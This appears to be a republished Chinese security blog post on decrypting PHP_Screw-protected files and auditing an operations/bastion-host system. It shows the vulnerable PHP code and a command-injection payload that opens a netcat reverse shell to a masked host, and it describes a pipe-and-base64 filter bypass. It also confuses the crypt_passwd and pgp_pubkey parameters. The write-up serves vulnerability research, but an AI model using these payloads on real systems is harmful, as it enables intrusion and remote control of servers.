内容简介:要对公司内部的某系统做测试审计,但是碰到了加密的PHP文件,因为是采购的第三方整套设备所以只能自己做解密啦。加密形式如下图:
*本文原创作者:JrDwww,本文属于FreeBuf原创奖励计划,未经许可禁止转载
前言
要对公司内部的某系统做测试审计,但是碰到了加密的 PHP 文件,因为是采购的第三方整套设备所以只能自己做解密啦。
加密形式如下图:
收集信息
收集了一下PM9SCREW的信息,该使用的加密拓展名字叫PHP_Screw,这是一款免费的针对PHP源码进行加密的PHP的扩展,可以自定义加密的key,加密后的文件运行效率还不会下降。原理是通过压缩取反然后跟加密的key做异或加密的方式,在使用的时候通过.so文件的拓展文件进行解密然后再运行。并且找到了两个前人写好的工具,参考文章及 工具 链接如下:
https://github.com/firebroo/screw_decode
解密过程
通过前文得知有加密密钥存储的.so拓展文件很关键,所以先寻找文件:
找到了之后发现也是二进制文件:
于是IDA搞起,先找到pm9screw相关函数:
然后追踪相关变量:
找到加密的密钥口令:
hex转为十进制:
然后另一个函数中找到头部变量(这里为默认值):
然后将找到的密钥和头部放入前文的工具中使用即可解密。
在这里感谢前人的工具,以及如果使用该拓展加密,记得改掉或者隐去头部的字符不要留下线索,以及把 .so
文件隐藏好。
审计
接上篇blog解密php,该系统听说是处于行业领导地位的运维管理系统,不少大厂也在使用,并且传说该系统没有高危安全漏洞,那我们就来挖掘看看吧。
系统结构
#index.php片段 <? @session_start(); $sid = session_id(); @session_destroy(); $CONFIG["img"] = true; $CONFIG["nomaster"] = true; $CONFIG["not_http_referer"] = true;1 require_once("include/common.php"); require_once("include/Validate.php"); require('include/integrity.php'); <?PHP require_once("include/common.php"); check_perm("admin");
我们可以看到从上图看出该系统因为历史悠久,在架构上还是使用静态php文件的路由方式,并没有使用MVC的结构,整体的系统架构略显臃肿。
从头部引入可以发现,该系统是采用定义 $CONFIG
数组定义一些环境变量并包含 common.php
等文件的设置,利用check_perm方法做权限的限制与鉴定。其中具体结构的实现细节与本文无关,就不多聊结构问题。
第一个getshell漏洞
不得不说该系统其实对于安全还是处理的比较到位的,各种 sql 、xss等注入都过滤处理的比较好,也验证了referer防止了csrf。这时候我想到堡垒机系统肯定需要与系统底层进行一些特殊的操作,譬如底层运维的信息的增删改查要与php动态交互,而此系统采用的是调用 python 的方法来实现这些功能。那这里面会不会有些问题呢?要是有就是直接getshell的大漏洞了。
function python_exec($code) { $descs = array(); $descs[0] = array("pipe", "r"); $descs[1] = array("pipe", "w"); $descs[2] = array("pipe", "w"); if (is_array($code)) $code = join("\n", $code); $p = proc_open("/usr/bin/python2.6 -", $descs, $pipes); fputs($pipes[0], $code); fclose($pipes[0]); $stdout = stream_get_contents($pipes[1]); $stderr = stream_get_contents($pipes[2]); $result = proc_close($p); return array($result, $stdout, $stderr); }
方法代码如上,很普通的proc_open调用python的方法。
而其中在 common.php
中定义的的全局过滤方法如下:
import_request_variables("GP", "req_"); #第一个参数GP是定义了接收类型GET、POST,第二个req_是定义了接收前缀为“req_”的参数 $safe_req = "password crypt_passwd 省略一部分代码";#定义safe_req if (!isset($CONFIG["safereq"])) $CONFIG["safereq"] = $safe_req; else $CONFIG["safereq"] .= " " . $safe_req;#如果头文件存在$CONFIG["safereq"]设置就把设置的和$safe_req里本来有的放在一起 $CONFIG["safereq"] = array_filter(explode(" ", $CONFIG["safereq"]));#分割成数组 foreach ($_REQUEST as $k=>$v) { if (!in_array($k, $CONFIG["safereq"])) { $_ = "req_$k"; $$_ = preg_replace('#[<>\'"\\/&*;]#', "", $v); #判断是否在数组内 若不在数组内则利用正则过滤将这些特殊字符置空 } }
其中 import_request_variables()
方法是一个在5.4.0以后就废弃的方法,在5.4.0以后一般推荐 extract()
来代替,作用 是将GET/POST/Cookie变量导入到全局作用域中 。上面这句话是官方中文的解释,通俗点说,就是如果传入了一个”password”变量,那么php会得到一个”$req_password”的全局变量。其他的代码作用我尽量详细的写在注释里面了,方便理解。总之开发者应当是想定义一个接受安全传参的数组,若参数在这个数组内则放行,不在参数内则进行过滤。
那我们找找看有没有在数组内的执行,被我找到了一个在数组内的参数 crypt_passwd
,所以发现了第一个后台getshell漏洞代码如下:
$code = array("#-*- coding: utf-8 -*-"); $code[] = "from shterm.crypt import zip_cipher"; $code[] = "print zip_cipher.encrypt('$req_crypt_passwd')"; list($result, $secret, $stderr) = python_exec($code);
根据上文可以知道 $req_pgp_pubkey
就是接收到的 pgp_pubkey
参数,而 pgp_pubkey
参数并不在 $safe_req
的定义里,这是一个漏网之鱼,所以可以比较简单的构造一个python的反弹shell,payload如下:
<code>123');import os;os.popen('rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc xxx.xxx.xxx.xxx 12345 >/tmp/f')#</code>
这里利用了一个python其实并不是一定要换行,也可以使用 ;
来做换行的小trick。结果如图:
但是这样只是一个 程序员 的疏忽导致的getshell,那有没有办法bypass这个看起来很简单粗暴的过滤呢?
绕过过滤的getshell
在一个文件里挖掘到了如下的代码段:
$type = $req_type; $action = $req_action; $output = array(); if ($type == "mode") { exec("sudo /usr/libexec/shterm/clusterctl drsync-mode $action", $output, $r); }
根据之前分析的我们知道 $req_type
和 $req_action
就是接受了 type
和 action
的传参,并且这两个参数都不在 safe_req
的数组里所以都被过滤了, #[<>\'"\\/&*;]#
这些特殊字符都不能传参。但是我发现特殊字符的过滤忽略了 |
和 -
符号,而 |
跟 -
符号其实是可以通过管道符号和编码绕过过滤和之前的语句,执行自己想要执行的payload甚至反弹 shell 的。
|
管道符号的特性:
综上所述我利用base64编码构造了一个绕过过滤的payload: 之后发包成功执行反弹shell:
*本文原创作者:JrDwww,本文属于FreeBuf原创奖励计划,未经许可禁止转载
以上就是本文的全部内容,希望对大家的学习有所帮助,也希望大家多多支持 码农网
猜你喜欢:- 代码审计--源代码审计思路
- Java代码审计丨某开源系统源码审计
- 【代码审计】PHP代码审计之CTF系列(1)
- 【JSP代码审计】某商城几处漏洞审计分析
- 【JSP代码审计】从代码审计的角度看系统接口的安全性
- 通读审计之AACMS
本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们。
创业的艺术2.0
〔美〕盖伊·川崎 / 刘悦、段歆玥 / 译言·东西文库/电子工业出版社 / 2016-9 / 68
“创业者导师”——盖伊•川崎的《创业的艺术2.0》被阿丽亚娜•赫芬顿评为“终极的创业手册”。无论您是企业家、小企业主、企业开拓者还是非盈利组织的领导人,都可以让你的产品、服务或理念获得成功。 盖伊选取了不用角度,探索前十年商界的巨大变化,并寻求解决之道。曾经所向披靡的市场巨头深陷水深火热之中,社交媒体也取代了人际关系和广告,成为营销推广的主要渠道。众筹也成为广大投资者的可行之举。“云”更是每......一起来看看 《创业的艺术2.0》 这本书的介绍吧!